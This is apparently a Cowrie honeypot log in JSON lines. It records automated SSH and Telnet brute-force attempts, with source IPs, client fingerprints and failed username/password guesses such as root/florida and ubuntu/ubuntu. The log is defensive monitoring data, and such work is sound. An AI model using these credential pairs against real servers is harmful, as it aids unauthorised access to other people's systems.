{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:05.522760Z","src_ip":"80.94.92.184","session":"2c4bb722c1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:06.906152Z","src_ip":"80.94.92.184","session":"2c4bb722c1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:08.162530Z","src_ip":"80.94.92.184","session":"2c4bb722c1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51876,"dst_ip":"159.203.135.109","dst_port":22,"session":"fded4d06e43d","protocol":"ssh","message":"New connection: 147.45.197.250:51876 (159.203.135.109:22) [session: fded4d06e43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:12.406191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:12.410731Z","src_ip":"147.45.197.250","session":"fded4d06e43d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:12.500389Z","src_ip":"147.45.197.250","session":"fded4d06e43d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89525523375q","message":"login attempt [root/89525523375q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:12.770997Z","src_ip":"147.45.197.250","session":"fded4d06e43d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:13.863778Z","src_ip":"147.45.197.250","session":"fded4d06e43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40280,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bb4729bcbc8","protocol":"ssh","message":"New connection: 94.159.98.239:40280 (10.17.0.5:22) [session: 8bb4729bcbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:36.669876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:36.690865Z","src_ip":"94.159.98.239","session":"8bb4729bcbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:36.801419Z","src_ip":"94.159.98.239","session":"8bb4729bcbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48390,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7ea845ba1c","protocol":"telnet","message":"New connection: 50.6.8.71:48390 (10.17.0.5:23) [session: 3b7ea845ba1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:36.860080Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"uzumymw","message":"login attempt [root/uzumymw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:37.304981Z","src_ip":"94.159.98.239","session":"8bb4729bcbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:38.427300Z","src_ip":"94.159.98.239","session":"8bb4729bcbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.324791431427,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:45.148217Z","src_ip":"50.6.8.71","session":"1a338a6a3b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":35818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bd24bde5cb6","protocol":"ssh","message":"New connection: 87.106.29.151:35818 (159.203.135.109:22) [session: 6bd24bde5cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:55.085899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:55.095229Z","src_ip":"87.106.29.151","session":"6bd24bde5cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:55.193474Z","src_ip":"87.106.29.151","session":"6bd24bde5cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:55.616083Z","src_ip":"87.106.29.151","session":"6bd24bde5cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:56.717217Z","src_ip":"87.106.29.151","session":"6bd24bde5cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.33258104324341,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:12.192541Z","src_ip":"50.6.8.71","session":"3b7ea845ba1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6ac4bd7c20","protocol":"ssh","message":"New connection: 2.57.122.238:44946 (10.17.0.5:22) [session: ea6ac4bd7c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:17.834294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:17.840832Z","src_ip":"2.57.122.238","session":"ea6ac4bd7c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:17.940625Z","src_ip":"2.57.122.238","session":"ea6ac4bd7c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:18.239712Z","src_ip":"2.57.122.238","session":"ea6ac4bd7c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:19.342500Z","src_ip":"2.57.122.238","session":"ea6ac4bd7c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00287866592407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:28.264568Z","src_ip":"67.222.148.25","session":"3f05f65e2083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56928,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3649507e8ab","protocol":"ssh","message":"New connection: 51.250.105.222:56928 (10.17.0.5:22) [session: f3649507e8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:42.664762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:42.669769Z","src_ip":"51.250.105.222","session":"f3649507e8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:42.801217Z","src_ip":"51.250.105.222","session":"f3649507e8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"florida","message":"login attempt [root/florida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:43.194526Z","src_ip":"51.250.105.222","session":"f3649507e8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:44.328094Z","src_ip":"51.250.105.222","session":"f3649507e8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f4814ddbd2","protocol":"telnet","message":"New connection: 50.6.8.71:57746 (10.17.0.5:23) [session: 79f4814ddbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:49:52.790367Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45634,"dst_ip":"159.203.135.109","dst_port":22,"session":"4341a20899d9","protocol":"ssh","message":"New connection: 87.106.29.151:45634 (159.203.135.109:22) [session: 4341a20899d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:00.124643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:00.129764Z","src_ip":"87.106.29.151","session":"4341a20899d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:00.231625Z","src_ip":"87.106.29.151","session":"4341a20899d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"krish","password":"krish","message":"login attempt [krish/krish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:00.693810Z","src_ip":"87.106.29.151","session":"4341a20899d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:01.799281Z","src_ip":"87.106.29.151","session":"4341a20899d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25706148147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:24.047313Z","src_ip":"50.6.8.71","session":"79f4814ddbd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.236.86.20","src_port":52260,"dst_ip":"10.17.0.5","dst_port":22,"session":"82401c14331e","protocol":"ssh","message":"New connection: 109.236.86.20:52260 (10.17.0.5:22) [session: 82401c14331e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:28.541772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:28.546939Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:28.630916Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
